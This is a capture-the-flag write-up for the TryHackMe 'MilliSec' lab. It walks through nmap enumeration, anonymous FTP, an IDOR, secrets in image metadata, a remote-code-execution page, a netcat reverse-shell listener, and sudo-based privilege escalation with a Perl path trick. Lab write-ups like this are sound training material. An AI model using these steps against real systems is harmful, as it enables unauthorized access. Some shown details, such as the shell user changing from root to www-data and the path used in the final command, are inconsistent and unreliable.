

Millisec CTF

Report

18.05.2025


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1. Room Description

This is a mid-level Capture The Flag (CTF) challenge hosted on TryHackMe, titled "MilliSec." The objective was to perform enumeration, gain initial access, and escalate privileges to retrieve two key flags: user.txt and root.txt. The room also simulates real-world vulnerabilities, making it ideal for practicing practical penetration testing techniques.



2. Enumeration

The assessment began with an **nmap** scan to identify open ports and services.

```
(avamay@kali)-[~]  
$ nmap -A -T5 10.10.234.171 -p- --open -oN full_scan.txt  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-18 22:26 +04
```

- A: Enables OS detection, version detection, script scanning, and traceroute
- T5: Sets the highest timing template for maximum speed
- p-: Scans all 65,535 ports
- open: Shows only open ports
- oN full_scan.txt: Saves the output to a file

```

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--  1 0      0      80 Dec 22 01:49 note.txt
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to ::ffff:10.9.2.147
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 4
|   vsFTPD 3.0.5 - secure, fast, stable
|_End of status
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 6a:a6:a4:98:cc:43:ef:df:50:4f:67:50:a6:39:71:80 (RSA)
|   256 b5:a7:81:4e:e5:f3:4b:3e:70:31:79:dc:69:2a:d3:6c (ECDSA)
|_  256 83:66:cc:d6:ac:f1:34:a7:f5:d2:12:92:7a:3c:54:2c (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Millisec MMC | Kiber T\XC9\X99hl\XC3\XBck\XC9\X99sizlik \XC5\X9Eirk\XC9\X99ti
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%),
Linux 3.16 (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.2 - 4.9 (93%), Linux 3.7 - 3.10 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

```

This revealed three open ports:

- 21 – FTP (Anonymous login allowed)
- 22 – SSH
- 80 – HTTP

I logged into the FTP server using anonymous credentials.

```

(avamay@kali)~$ ftp 10.10.234.171
Connected to 10.10.234.171.
220 (vsFTPD 3.0.5)
Name (10.10.234.171:avamay): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

```

Upon successful login, I listed the directory contents and downloaded the only file available, namely **note.txt**

```

ftp> ls -la
229 Entering Extended Passive Mode (|||38950|)
150 Here comes the directory listing.
drwxr-xr-x  2 0      119      4096 Dec 22 01:49 .
drwxr-xr-x  2 0      119      4096 Dec 22 01:49 ..
-rw-r--r--  1 0      0      80 Dec 22 01:49 note.txt
226 Directory send OK.
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||26831|)
150 Opening BINARY mode data connection for note.txt (80 bytes).
100% |*****| 80 379.24 KiB/s 00:00 ETA
226 Transfer complete.
80 bytes received in 00:00 (0.12 KiB/s)
ftp>


```

After downloading the file, I inspected its contents, using the **cat** command.



```
(avamay@kali)-[~]  
$ cat note.txt  
welomhi kali  
  
fix the vulnerability on the wp-admin page as soon as possible!!!
```

The note hinted that the target was running a WordPress site, likely accessible via the HTTP service on port 80. Based on this, I proceeded to investigate the web interface.

Navigating to the target's IP in a browser revealed the homepage of the MilliSec company. To investigate further, I registered as a new user.



After registering, I noticed that the URL included a numeric user id. This raised the possibility of an IDOR vulnerability. IDOR – Insecure Direct Object Reference occurs when users can access unauthorized objects by modifying input values in the URL. I manually changed the id to 0, which in my case redirected me to another user's profile page featuring a user photo.



As the challenge hint suggested “metadata”, I used **exiftool** to analyze the user’s profile picture. This revealed a hidden secret key embedded in the image metadata.


```

$ exiftool ~/Downloads/mt.png
ExifTool Version Number      : 13.00
File Name                    : mt.png
Directory                   : /home/avamay/Downloads
File Size                    : 575 kB
File Modification Date/Time  : 2025:05:18 22:33:22+04:00
File Access Date/Time       : 2025:05:18 22:32:22+04:00
File Inode Change Date/Time  : 2025:05:18 22:33:22+04:00
File Permissions             : -rw-rw-r--
File Type                    : PNG
File Type Extension          : png
MIME Type                    : image/png
Image Width                  : 900
Image Height                 : 600
Bit Depth                    : 8
Color Type                   : RGB with Alpha
Compression                  : Deflate/Inflate
Filter                       : Adaptive
Interlace                    : Noninterlaced
Ads Created                  : 2024-12-21
Ads Ext Id                   : cfa5be53-5a24-4c95-9fbb-bbc12e1e987d
Ads Fb Id                    : 525265914179580
Ads Touch Type               : 2
Title                       : What are you doing here? - 1
Author                       : zauresynv
Creator Tool                  : /M!11!S3CS3CRETP4G3
Pixels Per Unit X            : 3780
Pixels Per Unit Y            : 3780


```

3. Initial Access

Using the key in a crafted URL, I discovered an RCE (Remote Code Execution) interface that allowed me to execute system commands on the server.



To make access more stable, I decided to establish a reverse shell for interactive use.



```
(avamay@kali)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.2.147] from (UNKNOWN) [10.10.234.171] 54752
bash: cannot set terminal process group (807): Inappropriate ioctl for device
bash: no job control in this shell
root@millisec:/var/www/html/M!11!S3CS3CRETP4G3# whoami
root
root@millisec:/var/www/html/M!11!S3CS3CRETP4G3# python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@millisec:/var/www/html/M!11!S3CS3CRETP4G3$ whoami
www-data
www-data@millisec:/var/www/html/M!11!S3CS3CRETP4G3$
```

4. Privilege Escalation

With a shell established, I checked sudo privileges. The output revealed that the user millisec could execute a specific file with no password required, which indicated a potential avenue for privilege escalation.

```
www-data@millisec:/var/www/html/M!11!S3CS3CRETP4G3$ sudo -l
sudo -l
Matching Defaults entries for www-data on millisec:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on millisec:
    (millisec) NOPASSWD: /home/millisec/simba
www-data@millisec:/var/www/html/M!11!S3CS3CRETP4G3$ sudo -u millisec /home/millisec/simba
<3CS3CRETP4G3$ sudo -u millisec /home/millisec/simba
```

I executed the file with elevated privileges using **sudo -u**. To confirm the user, I ran **whoami**, which showed I was operating as millisec. Then, I navigated to the home directory, located the **user.txt** file, and read its contents, successfully capturing **the first flag**.


```
millisec@millisec:/var/www/html/M!11!S3CS3CRETP4G3$ cd /home/millisec
cd /home/millisec
millisec@millisec:~$ ls
ls
hakuna_matata  simba  user.txt
millisec@millisec:~$ cat user.txt
cat user.txt
```

MILLISEC

your user flag: flag

I ran **sudo -l** again to review available commands with root privileges, which revealed that I could execute Perl scripts in the root directory without a password. This presented an opportunity for privilege escalation to root.

```
millisec@millisec:~$ sudo -l
sudo -l
Matching Defaults entries for millisec on millisec:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User millisec may run the following commands on millisec:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/perl /root/*.pl
```

Ultimately, I used a single-line echo command to create a minimal Perl script in the /tmp directory, which was designed to read the contents of root.txt. I executed the script with root privileges, and successfully retrieved the second flag, completing the challenge.

```
echo -e '#!/usr/bin/perl\nopen(my $fh, "<", "/root/root.txt") or die "Cannot open /root/root.txt: $!\n"; while (my $line = <$fh>) { print $line; } close($fh);' > /tmp/script.pl
```

```
millisec@millisec:~$ echo -e '#!/usr/bin/perl\nopen(my $fh, "<", "/root/root.txt") or die "Cannot open /root/root.txt: $!\n"; while (my $line = <$fh>) { print $line; } close($fh);' > /tmp/script.pl
millisec@millisec:~$ cd /tmp
cd /tmp
millisec@millisec:/tmp$ chmod +x script.pl
chmod +x script.pl
millisec@millisec:/tmp$ sudo -u root /usr/bin/perl /root/./tmp/script.pl
sudo -u root /usr/bin/perl /root/./tmp/script.pl
```

**YOU ARE
ROOT!**

Your root flag: flag{

5. Summary

The CTF served as a valuable exercise in realistic exploitation. The IDOR vulnerability and metadata analysis emphasized the importance of thorough enumeration. The privilege escalation using 'sudo' and Perl scripting was a highlight, reinforcing post-exploitation skills.